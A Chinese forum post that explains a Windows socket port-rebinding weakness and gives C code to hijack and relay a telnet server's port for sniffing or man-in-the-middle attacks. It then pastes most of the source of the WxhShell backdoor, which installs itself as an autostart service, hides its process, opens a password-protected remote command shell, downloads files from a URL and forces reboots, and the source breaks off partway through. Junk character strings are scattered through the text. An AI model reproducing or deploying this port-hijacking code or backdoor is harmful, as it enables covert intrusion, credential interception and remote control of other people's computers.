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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +vkqig  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); sJX/YGHt  
.b]g# Du=  
  saddr.sin_family = AF_INET; %5*gsgeI  
p2PD';"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); L1`^~m|  
;h_"5/#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9Ps:]Kp!vN  
%4cUa| =?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 N10'./c K  
M|FwYF^  
  这意味着什么?意味着可以进行如下的攻击: !h7`W*::  
AqvRzi(Y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;u,%an<(  
BnqAv xX  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) F8Y D:   
fyx-VXu  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %,MCnu&Z  
X#5dd.RR  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  h$~ NPX  
ExI?UGT  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7i~::Z <  
wCeSs=[  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 nTY`1w.;  
eg) =^b  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {O#=%o[  
0F`@/C1y55  
  #include p{!aRB%  
  #include TF|GGY i  
  #include tQ'E"u1  
  #include    5wRDH1z@{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   s>~!r.GC  
  int main() {8Hrb^8!  
  { zrU0YHmt  
  WORD wVersionRequested; V8NNIS  
  DWORD ret; .Q?cNSWU  
  WSADATA wsaData; C>N)~Ut  
  BOOL val; "Z }'u2%\m  
  SOCKADDR_IN saddr; _+wou(1y  
  SOCKADDR_IN scaddr; 4eYj.=I  
  int err; >AV-i$4eQ@  
  SOCKET s; =bZ>>-<  
  SOCKET sc; w@nN3U+  
  int caddsize; l:8gCi  
  HANDLE mt; HvK<>9  
  DWORD tid;   gx4`pH;B\  
  wVersionRequested = MAKEWORD( 2, 2 ); Jm\'=#U#  
  err = WSAStartup( wVersionRequested, &wsaData ); !V Zl<|  
  if ( err != 0 ) { <'-}6f3  
  printf("error!WSAStartup failed!\n"); hBz~FB];&  
  return -1; W*u Yb|0  
  } 9O?.0L  
  saddr.sin_family = AF_INET; W4QVWn %3  
   }a"T7y23  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 mNKe,H0  
w%VHq z$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @&S4j]rq  
  saddr.sin_port = htons(23); ToCB*GlL  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N3MMxm_u  
  { ZBdZr  
  printf("error!socket failed!\n"); cA`R~o"  
  return -1; (".`#909  
  } "\vEi &C  
  val = TRUE; .O3i"X]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 D+LeZBJ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &rorBD 5aj  
  { hh{4r} |  
  printf("error!setsockopt failed!\n"); PX(.bP2^Lq  
  return -1; |5Mhrb4.  
  } W~POS'1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @PZ&/F ^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?Re@`f+*  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?c+_}ja,  
p;"pTGoW i  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) j7xoe9;TxI  
  { Um4 }`  
  ret=GetLastError(); =~?2i)-mC  
  printf("error!bind failed!\n"); z(:0@5  
  return -1; Fm`hFBKW  
  } ,`^B!U3m   
  listen(s,2); \d&j`UVY  
  while(1) }C}~)qaZv+  
  { S?D|"#-,  
  caddsize = sizeof(scaddr); b DeHU$  
  //接受连接请求 $`i$/FE  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); S s@\'K3e  
  if(sc!=INVALID_SOCKET) % rRYT8  
  { q+19EJ(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); d?oupW}uu  
  if(mt==NULL) Agl5[{]E  
  { 0F1 a  
  printf("Thread Creat Failed!\n"); \'q-Xr'}M  
  break; d8C?m*3 J  
  } )p~\lM}?d  
  } 2L[/.|  
  CloseHandle(mt); Ih;6(5z  
  } z[M LMf[c  
  closesocket(s); f` 2W}|(jA  
  WSACleanup(); jJQ6]ucwa  
  return 0; 2IFri|;-eb  
  }   V9`VF O  
  DWORD WINAPI ClientThread(LPVOID lpParam) yc8iT`  
  { ]ctUl #j  
  SOCKET ss = (SOCKET)lpParam; ZK[4n5}  
  SOCKET sc; SZpBbX$  
  unsigned char buf[4096]; ``nuw7\C:  
  SOCKADDR_IN saddr; D?44:'x+-  
  long num; _VMW-trG  
  DWORD val; R 3TdQ6j  
  DWORD ret; mQ;b'0&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 `J|bGf#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   b2aPo M=  
  saddr.sin_family = AF_INET; [M65T@v  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); XpJT/&4  
  saddr.sin_port = htons(23); Yz us=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M/x49qO#  
  { \sEq r)\k  
  printf("error!socket failed!\n"); 3V?JX5X\  
  return -1; 1\z5[ _  
  } oTS*k: C'  
  val = 100; dZFf /BXU  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &W`."  
  { g,h'K  
  ret = GetLastError(); 4:.yE|@h[  
  return -1; \L>3E#R-Q  
  } wb~#=6Y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =3$JeNK9  
  { `wj<d>m  
  ret = GetLastError(); L:nZ_O;  
  return -1; Azv j(j  
  } }enm#0Ha  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Eyv%"+>  
  { (S$ziV  
  printf("error!socket connect failed!\n"); w[}5qAI5*f  
  closesocket(sc); k%YvJXL  
  closesocket(ss); Aj((tMJNOw  
  return -1; HR]*75}e  
  } -L%tiz`_  
  while(1) L}5nq@Uu)  
  { z2*>5 c%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;*>Y8^K&Q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 hC2@Gq  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 HJWk%t<  
  num = recv(ss,buf,4096,0);  =z`#n}v  
  if(num>0) 70hm9b-   
  send(sc,buf,num,0); , 7-@eZ  
  else if(num==0) OZ##x  
  break; Ox9WH4E  
  num = recv(sc,buf,4096,0); =kFZ2/P2t(  
  if(num>0) fGS5{dti  
  send(ss,buf,num,0); 9>?3FMKdY  
  else if(num==0) "=8= G  
  break; z0|%h?N  
  } KYBoGCS>  
  closesocket(ss); d h5%  
  closesocket(sc); (jhDO7  
  return 0 ; zv/owK  
  } L *",4!  
En-BT0o  
#$k6OlK-r"  
========================================================== )~@iM.}S2  
J; @g#h?  
下边附上一个代码,,WXhSHELL wX?< o  
QxUsdF?p  
========================================================== 1:{BC2P  
R/5@*mv{  
#include "stdafx.h" ; (0<5LQ  
]CL t Km  
#include <stdio.h> ]&;M 78^6  
#include <string.h> yex4A)n9"'  
#include <windows.h> zNg8Oq&  
#include <winsock2.h> $ /Rr|<  
#include <winsvc.h> gFBMARxi  
#include <urlmon.h> ZV,1IaO  
N5]}m:"pk  
#pragma comment (lib, "Ws2_32.lib") Fkq;Q  
#pragma comment (lib, "urlmon.lib") b Ag>;e(  
22`N(_  
#define MAX_USER   100 // 最大客户端连接数 Gh.@l\|tf  
#define BUF_SOCK   200 // sock buffer XHX$Ur9  
#define KEY_BUFF   255 // 输入 buffer .LQvjK[N  
{Kdr-aC  
#define REBOOT     0   // 重启 +#$(>6Zu"{  
#define SHUTDOWN   1   // 关机 @20~R/vh  
aNcuT,=(?8  
#define DEF_PORT   5000 // 监听端口 I[td:9+hK@  
aM2[<m}  
#define REG_LEN     16   // 注册表键长度 +xGz~~iNh  
#define SVC_LEN     80   // NT服务名长度 '5:P,1tW U  
PR{y84$  
// 从dll定义API e1d);m$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); BkO)hze  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k~P{Rm;F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Hf^Tok^6@]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h_w_OCC&2  
9[L@*7A`m  
// wxhshell配置信息 $IdY(f:.:5  
struct WSCFG { zSU06Y  
  int ws_port;         // 监听端口 ohy?l  
  char ws_passstr[REG_LEN]; // 口令 @qGg=)T  
  int ws_autoins;       // 安装标记, 1=yes 0=no G\HU%J  
  char ws_regname[REG_LEN]; // 注册表键名 e.Y*=P}D  
  char ws_svcname[REG_LEN]; // 服务名 g;M\4o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .W9/*cZV0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 l}Fa-9_'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1|PmZPKq9n  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [;]@PKW?w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" CYxrKW l:'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GA8cA)]zOD  
VB+sl2V<h  
}; X?F$jX|c  
UpA{$@  
// default Wxhshell configuration ~6hG"t]:  
struct WSCFG wscfg={DEF_PORT, E?& x5?  
    "xuhuanlingzhe", hVfiF  
    1, ]:Q7Gys  
    "Wxhshell", r7I,%}k  
    "Wxhshell", vGk}r  
            "WxhShell Service", Nr#Y]9nA  
    "Wrsky Windows CmdShell Service", ;-G!jWt6Zi  
    "Please Input Your Password: ", Q)l]TgvSe  
  1, aoZ`C3  
  "http://www.wrsky.com/wxhshell.exe", E"[^^<I  
  "Wxhshell.exe" us.+nnd  
    }; C+WHg-l  
J6!t"eB+  
// 消息定义模块 g>[|/z P  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;'Pi(TA)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .2xp.i{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `;^%t  
char *msg_ws_ext="\n\rExit."; $Xlyc.8YId  
char *msg_ws_end="\n\rQuit."; $E^#DjhRQ3  
char *msg_ws_boot="\n\rReboot..."; ))n7.pB9/  
char *msg_ws_poff="\n\rShutdown..."; r: _- Cj  
char *msg_ws_down="\n\rSave to "; nI4xK  
mf26AIlkQ  
char *msg_ws_err="\n\rErr!"; /HNZwbh]uJ  
char *msg_ws_ok="\n\rOK!"; g~L1e5C]z  
TsPO+x$l  
char ExeFile[MAX_PATH]; ,EgIH%* g  
int nUser = 0; 6TE R Q  
HANDLE handles[MAX_USER]; K/~+bq# +  
int OsIsNt; YbC6&_  
O_f|R1G5z  
SERVICE_STATUS       serviceStatus; r +] J {k  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (8s]2\/Ar  
~Exd_c9  
// 函数声明 %iI0JF*E z  
int Install(void); DA oOs}D  
int Uninstall(void); b`n+[UCPtn  
int DownloadFile(char *sURL, SOCKET wsh); 0EM`,?i .Q  
int Boot(int flag); W%09.bF  
void HideProc(void); OwP9=9};  
int GetOsVer(void); xPh%?j?*v  
int Wxhshell(SOCKET wsl); -A9 !Y{Z  
void TalkWithClient(void *cs); q[]!V0Ek10  
int CmdShell(SOCKET sock); $ 8w eh3p  
int StartFromService(void); r0kA47  
int StartWxhshell(LPSTR lpCmdLine); !^ 6x64r  
t8s1d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gFJ& t^yL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hQBeM7$F_  
@Q x|!%  
// 数据结构和表定义 @yaBtZUp3  
SERVICE_TABLE_ENTRY DispatchTable[] = Bh*~I_Ta>  
{ .jr1<LE  
{wscfg.ws_svcname, NTServiceMain}, bF' ~&<c  
{NULL, NULL} AEi@t0By  
}; >w9)c|  
m7kDxs(KO  
// 自我安装 =rgWO n8  
int Install(void) 6!bA~"N  
{ xn@?CP`-y  
  char svExeFile[MAX_PATH]; )1j~(C)E8  
  HKEY key; -baGr;,Cu  
  strcpy(svExeFile,ExeFile); > Q@*o  
{H $\,  
// 如果是win9x系统,修改注册表设为自启动 Dt1{]~30  
if(!OsIsNt) { g$dL5N7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dWD,iO_"@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]qXHalHY  
  RegCloseKey(key); \9se~tAl3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lIzJO$8cM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U3kf$nbV/J  
  RegCloseKey(key); R_vZh|  
  return 0; S97.O@V!$  
    } Jkm\{;  
  } ~uC4>+dk  
} l,*Q?q  
else { 8)"KPr63M  
Z mi<Z  
// 如果是NT以上系统,安装为系统服务 D{'Na5(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w,3`Xq@  
if (schSCManager!=0) K!I]/0L  
{ y13=y}dyDH  
  SC_HANDLE schService = CreateService a2=wJhk  
  ( mkE*.I0=  
  schSCManager, d*A>P  
  wscfg.ws_svcname, 7U.g4x|<  
  wscfg.ws_svcdisp, 0E\R\KO$>  
  SERVICE_ALL_ACCESS, 6-KC[J^Xo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Vg \-^$  
  SERVICE_AUTO_START, i $I|JJJ  
  SERVICE_ERROR_NORMAL, M5ZWcD.1  
  svExeFile, 3sp*.dk  
  NULL, CdaB.xk  
  NULL, g+k6pi*  
  NULL, RTY$oUqlZ  
  NULL, >P0AGZ  
  NULL ?sS'T7r v  
  ); !%s7I ^f*  
  if (schService!=0) E0O{5YF^T  
  { iBo-ANnK9  
  CloseServiceHandle(schService); 2WUBJ-qnuT  
  CloseServiceHandle(schSCManager); e#nTp b  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *|E@ 81s#  
  strcat(svExeFile,wscfg.ws_svcname); cF(9[8c{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wd#AA#J;*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (B$FX<K3  
  RegCloseKey(key); @nc!(P7_  
  return 0; \clWrK  
    } 6wu/6DO   
  } "V^jAPDXb  
  CloseServiceHandle(schSCManager); YD+C1*c!  
} u-K 5  
} S~TJF}[k^6  
{VNeh  
return 1; F Q k;  
} -{7N]q)}  
FN,uD:a  
// 自我卸载 o>*{5>#k'  
int Uninstall(void) &qpA<F@7  
{ *ap#*}r!Nk  
  HKEY key; 5-3gsy/Mo  
4[-9$ r  
if(!OsIsNt) { 6h,'#|:d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XM 7zA^-  
  RegDeleteValue(key,wscfg.ws_regname); tV,zz;* Oe  
  RegCloseKey(key); B~ez>/H^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dog,vUu  
  RegDeleteValue(key,wscfg.ws_regname); ""a8eB 6  
  RegCloseKey(key); a,E;R$[!  
  return 0; -)Vj08aP  
  } Lf:Z (Z>  
} Uy_= #&jg  
} SeTU`WLEm  
else { #Nd+X@j  
qXF"1f_+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3TtW2h>M  
if (schSCManager!=0) a&[nVu+  
{ hf-S6PEsM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,@;<u'1\G  
  if (schService!=0) =ht@7z8QM  
  { "<(~  
  if(DeleteService(schService)!=0) { '8JaD6W9S  
  CloseServiceHandle(schService); Ll`apKr  
  CloseServiceHandle(schSCManager); H:_`]X"  
  return 0; DIRCP=5  
  } 0#7 dm9  
  CloseServiceHandle(schService); LQjqwsuN{  
  } IW#(ICeb  
  CloseServiceHandle(schSCManager); Pla EI p  
} ^n]s}t}csV  
} MI}D%n*  
T,fz/5w  
return 1; ]VME`]t`  
} %([c4el>\F  
|3L MVN  
// 从指定url下载文件 4l*&3Ar  
int DownloadFile(char *sURL, SOCKET wsh) cPbz7  
{ }NXESZYoi  
  HRESULT hr; nGVqVSxKT  
char seps[]= "/"; D/WS  
char *token; bq O"k t  
char *file; kWd'gftQ  
char myURL[MAX_PATH]; A M2M87{t  
char myFILE[MAX_PATH]; EHZSM5hu  
63HkN4D4  
strcpy(myURL,sURL); x _K%  
  token=strtok(myURL,seps); +0 MKh  
  while(token!=NULL) .vO.g/o  
  { n1Jz49[r  
    file=token; YSgF'qq\  
  token=strtok(NULL,seps); g8Z14'Ke  
  } J%)2,szn0  
lI 1lP 1  
GetCurrentDirectory(MAX_PATH,myFILE); zTLn*?  
strcat(myFILE, "\\"); [/G;XHL;?  
strcat(myFILE, file); ?=kswf  
  send(wsh,myFILE,strlen(myFILE),0); N6;Z\\&0^q  
send(wsh,"...",3,0); y`\Mhnj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kdC OcJB  
  if(hr==S_OK) cy4'q ?r  
return 0; #A; Z4jK  
else p0K;m%  
return 1; WFP\;(YV  
Ao T7sy7  
} =]e^8;e9  
\]xYV}(FO  
// 系统电源模块 gf?^yP ;V  
int Boot(int flag) Gq/6{eRo\  
{ fh#_Mj+y  
  HANDLE hToken; $x;h[,y   
  TOKEN_PRIVILEGES tkp; ?LI9F7n  
8n5nHne  
  if(OsIsNt) { sv"mba.J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C4]%pi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vc #oALc&  
    tkp.PrivilegeCount = 1; ^z^e*<{WEl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rz{'X d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gqRTv_;  
if(flag==REBOOT) { 493i*j5r)l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *]R 0z|MW  
  return 0; !" %sp6Wc  
} @BUqQ9q:  
else { x9l0UD*+g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j#t8Krd] "  
  return 0; 8? Wxd65)  
} m,C,<I|'d  
  } + <9 eN  
  else { K#hYbDm  
if(flag==REBOOT) { e=sJMzm~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Tw;qY  
  return 0; f~nt!$  
} ^z}lGu  
else { QhQ"OVFr#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @[tV_Z%,b  
  return 0; 7'i#!5  
} cO+Xzd;838  
} 9<h]OXv  
"C.7;Rvkp>  
return 1; =yX&p:-&  
} o 7W Kh=  
92]ZiL?k  
// win9x进程隐藏模块 }BdVD t  
void HideProc(void) E? eWv)//  
{ z<%g #bo  
IAF;mv}'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U5CPkH1  
  if ( hKernel != NULL ) @ Rx6 >52>  
  { E<Dh_K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); HXfXb ^~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nt0\q'&  
    FreeLibrary(hKernel); #3K,V8(  
  } q@!'R{fu  
dG-or  
return; ,{{#a*nd  
} X')Zm+  
\} Acq;  
// 获取操作系统版本 Fu4EEi  
int GetOsVer(void) Cb{A:\>Q{  
{ m io1kDq<  
  OSVERSIONINFO winfo; 6`qr:.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @>G&7r:U  
  GetVersionEx(&winfo); ZEj!jWP2m  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _jTwiuMS-  
  return 1; f(6UL31  
  else uKbHFF  
  return 0; slge+xq\J  
} cK[R1 ReH  
s[3![ "^Y  
// 客户端句柄模块 p,w|=@=  
int Wxhshell(SOCKET wsl) tS (i711  
{ ESD<8 OR  
  SOCKET wsh; "*w)puD  
  struct sockaddr_in client; 1Y=AT!"V  
  DWORD myID; AhvvuN$n%  
T9z4W]T  
  while(nUser<MAX_USER) Nmp>UE,7[  
{ 5#0A`QO   
  int nSize=sizeof(client); $N;"}G z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r(: 8!=~K  
  if(wsh==INVALID_SOCKET) return 1; g\o{}Q%X  
N7*CP|?E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,!6M* |  
if(handles[nUser]==0) AanH{  
  closesocket(wsh); gX@nPZjg  
else d7"U WY^  
  nUser++; <i}q=%W!1  
  } Ap]4QqU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D =r-  
Nush`?]J"_  
  return 0; +/y{^}b/  
} :be:-b%K  
Fn:.Y8%-  
// 关闭 socket /Hv* K&}M  
void CloseIt(SOCKET wsh) 8[{|xh(  
{ eo1&.FQu  
closesocket(wsh); ^^G-kg  
nUser--; ~J0,)_b%*  
ExitThread(0); 2)wAFO6u  
} yp=|7  
I"ca+4]  
// 客户端请求句柄 =~J"kC  
void TalkWithClient(void *cs) aZ`<PdA  
{ =G( *gx  
"hWJ3pi{o{  
  SOCKET wsh=(SOCKET)cs; RcgRaQ2^  
  char pwd[SVC_LEN]; n`%2Mj c  
  char cmd[KEY_BUFF]; jCzGus!rM  
char chr[1]; pd d|n2q  
int i,j; UqN{JG:#.  
qAqoZMpI|;  
  while (nUser < MAX_USER) { u7HvdLql  
"2a$1Wmj(  
if(wscfg.ws_passstr) { [s~JceUyX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &vCeLh:s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )s7bJjT0=X  
  //ZeroMemory(pwd,KEY_BUFF); *zq.C  
      i=0; F\5X7 ditD  
  while(i<SVC_LEN) { 4otl_l(`yv  
GuT6K}~|D  
  // 设置超时 ~LbS~_\C=  
  fd_set FdRead; wf?u (3/%  
  struct timeval TimeOut; Q!yb16J  
  FD_ZERO(&FdRead); ABc)2"i:*  
  FD_SET(wsh,&FdRead); Uo2+:p  
  TimeOut.tv_sec=8; :r&iM b:Ra  
  TimeOut.tv_usec=0; jyi FM5&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;7rd;zJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Vo,[EVL  
Gzw@w{JBL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7R,qDp S  
  pwd=chr[0]; NPm;  
  if(chr[0]==0xd || chr[0]==0xa) { T"?Y5t`(  
  pwd=0; ic E|.[  
  break; QdDObqVdy  
  }  `?|Rc  
  i++; }B0sC%cm  
    } d ;^  
l&L,7BX  
  // 如果是非法用户,关闭 socket o'Wz*oY))\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yHNuU)Ft  
} 8Atq,GcG  
*YtB )6j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jY/ARBC}H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 537?9  
_ 5"+Dv  
while(1) { fN)x#?  
nIn2 *r  
  ZeroMemory(cmd,KEY_BUFF); @TzvT3\q  
*KJB>W%@uM  
      // 自动支持客户端 telnet标准   o0ZBi|U\4  
  j=0; qsI^oBD"  
  while(j<KEY_BUFF) { H(|AH;?ou  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >{5 p0  
  cmd[j]=chr[0]; T#EFXHPr  
  if(chr[0]==0xa || chr[0]==0xd) { f+x ;:  
  cmd[j]=0; B+] D5K  
  break; pJBg?D  
  } 4w4^yQE  
  j++; 6e&$l-  
    } ?Go!j?#a  
Bz /@c)  
  // 下载文件 VUtXxvH  
  if(strstr(cmd,"http://")) { q .J sf+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gL3iw!7  
  if(DownloadFile(cmd,wsh)) $*f?&U]k  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %}3qR~;  
  else kWhr1wR1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c_.-b=zm  
  } R)5n 8  
  else { GZ3 ]N  
n~.*1. P  
    switch(cmd[0]) { sOBu7!G%  
  MS3=~*+  
  // 帮助 y(W|eBe  
  case '?': { DM{ 4@*]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @1-F^G%p8  
    break; H8{ol6wc)6  
  } iW%8/$  
  // 安装 !H@0MQ7  
  case 'i': { 7Nzbz3  
    if(Install()) <S?#@F\"S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -/P\"c  
    else #%lo;W~IY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~P .I<  
    break; @-&MA)SN  
    } Yg9joNBh  
  // 卸载 n.}E5 %qK  
  case 'r': { c{3wk7  
    if(Uninstall()) #V,R >0"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); em{(4!W>  
    else 2`G OJ,$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _hu")os  
    break; k,yZ[n|`  
    } O@V%Cu  
  // 显示 wxhshell 所在路径 kM8{C w  
  case 'p': { <h-vjz  
    char svExeFile[MAX_PATH]; <{5EdX  
    strcpy(svExeFile,"\n\r"); 'Ft0Ry<OL  
      strcat(svExeFile,ExeFile); 4JGtI*%5lq  
        send(wsh,svExeFile,strlen(svExeFile),0); BZ!v%4^9  
    break; <r#eL39I  
    } *z*uEcitW  
  // 重启 wMqX)}>  
  case 'b': { 2;a(8^n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); },+wJ1  
    if(Boot(REBOOT)) o%9*B%HO/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l*\y  
    else { uN([*'0Cg  
    closesocket(wsh); npJt3 Y_I  
    ExitThread(0); SN7"7joP<  
    } .sC?7O =  
    break; +LM#n#T  
    } p2Zo  
  // 关机 >Cw<BIF  
